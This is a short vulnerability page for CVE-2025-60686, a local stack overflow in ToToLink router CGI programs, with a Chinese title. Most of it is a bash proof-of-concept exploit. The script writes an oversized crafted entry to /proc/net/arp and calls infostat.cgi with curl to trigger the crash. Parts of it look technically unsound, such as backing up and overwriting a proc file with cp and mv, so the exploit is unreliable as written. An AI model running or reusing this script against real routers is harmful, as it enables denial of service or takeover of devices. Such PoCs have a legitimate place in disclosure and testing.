CVE-2025-60686 ToToLink路由器infostat.cgi和cstecgi.cgi本地栈缓冲区溢出漏洞

#!/bin/bash # CVE-2025-60686 PoC - ToToLink Router Local Stack Buffer Overflow # This PoC demonstrates writing a long string to /proc/net/arp to trigger buffer overflow # Generate a long string to overflow the stack buffer # The buffer size is unknown but we generate a long string to trigger overflow LONG_STRING=$(python3 -c "print('A' * 1024)") # Backup original /proc/net/arp cp /proc/net/arp /tmp/arp_backup # Create malicious ARP entry with oversized data echo "192.168.1.100 0x1 0x2 "$LONG_STRING" * eth0" > /proc/net/arp # Trigger the vulnerable CGI script echo "Triggering infostat.cgi..." curl -s http://192.168.1.1/cgi-bin/infostat.cgi 2>/dev/null || echo "Service may be down" # Restore original ARP table mv /tmp/arp_backup /proc/net/arp echo "PoC execution completed"